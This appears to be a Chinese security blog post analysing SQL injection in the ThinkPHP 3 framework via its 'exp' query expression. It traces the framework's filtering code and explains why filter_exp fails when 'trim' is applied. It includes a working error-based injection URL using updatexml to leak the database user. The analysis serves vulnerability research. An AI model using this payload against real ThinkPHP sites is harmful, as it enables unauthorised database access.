最近看java框架源码也是看的有点头疼,好多还要复习熟悉
还有好多事没做...慢慢熬。
网上好像还没有特别详细的分析 我来误人子弟吧。
0x01 tp3 中的exp表达式
查询表达式的使用格式:
$map['字段名'] = array('表达式','查询条件');
表达式不分大小写,支持的查询表达式有下面几种,分别表示的含义是:
重点看exp
EXP表达式支持SQL语法查询 sql注入非常容易产生。
$map['id'] = array('in','1,3,8');
可以改成:
$map['id'] = array('exp',' IN (1,3,8) ');
exp查询的条件不会被当成字符串,所以后面的查询条件可以使用任何SQL支持的语法,包括使用函数和字段名称。查询表达式不仅可用于查询条件,也可以用于数据更新,例如:
支持更复杂的查询情况 例如:
$User = M("User"); // 实例化User对象 // 要修改的数据对象属性赋值 $data['name'] = 'ThinkPHP'; $data['score'] = array('exp','score+1');// 用户的积分加1 $User->where('id=5')->save($data); // 根据条件保存修改的数据
表达式查询
$map['字段1'] = array('表达式','查询条件1'); $map['字段2'] = array('表达式','查询条件2'); $Model->where($map)->select();
0x02 exp表达式注入分析
上面很简单的演示了exp的使用,这时候传入数组即可,使用exp模式然后使底层sql语句直接拼接产生注入
http://www.qing-tp3.com/index.php/home/index/index2/?id[0]=exp&id[1]==updatexml(0,concat(0x0e,user(),0x0e),0)
F7跟进
跟到\ThinkPHP\Library\Think\Db\Driver.class.php 504行
foreach ($where as $key=>$val){ if(is_numeric($key)){ $key = '_complex'; } if(0===strpos($key,'_')) { // 解析特殊条件表达式 $whereStr .= $this->parseThinkWhere($key,$val); }else{ // 查询字段的安全过滤 // if(!preg_match('/^[A-Z_\|\&\-.a-z0-9\(\)\,]+$/',trim($key))){ // E(L('_EXPRESS_ERROR_').':'.$key); // } // 多条件支持 $multi = is_array($val) && isset($val['_multi']); $key = trim($key); if(strpos($key,'|')) { // 支持 name|title|nickname 方式定义查询字段 $array = explode('|',$key); $str = array();
parseSQl组装 替换表达式:
parseKey()
protected function parseKey(&$key) { $key = trim($key); if(!is_numeric($key) && !preg_match('/[,\'\"\*\(\)`.\s]/',$key)) { $key = '`'.$key.'`'; } return $key; }
往下走到表达式过滤的方法:
filter_exp
function filter_exp(&$value){ if (in_array(strtolower($value),array('exp','or'))){ $value .= ' '; } }
I函数中重点代码:
// 取值操作 $data = $input[$name]; is_array($data) && array_walk_recursive($data,'filter_exp'); $filters = isset($filter)?$filter:C('DEFAULT_FILTER'); if($filters) { if(is_string($filters)){ $filters = explode(',',$filters); }elseif(is_int($filters)){ $filters = array($filters); } foreach($filters as $filter){ if(function_exists($filter)) { $data = is_array($data)?array_map_recursive($filter,$data):$filter($data); // 参数过滤 }else{ $data = filter_var($data,is_int($filter)?$filter:filter_id($filter)); if(false === $data) { return isset($default)?$default:NULL; } } } } }else{ // 变量默认值 $data = isset($default)?$default:NULL; }
那么可以看到这里是没有任何有效的过滤的 即时是filter_exp,如果写的是
filter_exp在I函数的fiter之前,所以如果开发者这样写I('get.id', '', 'trim'),那么会直接清除掉exp后面的空格,导致过滤无效。
返回:
}else { $whereStr .= $key.' = '.$this->parseValue($val); } } return $whereStr;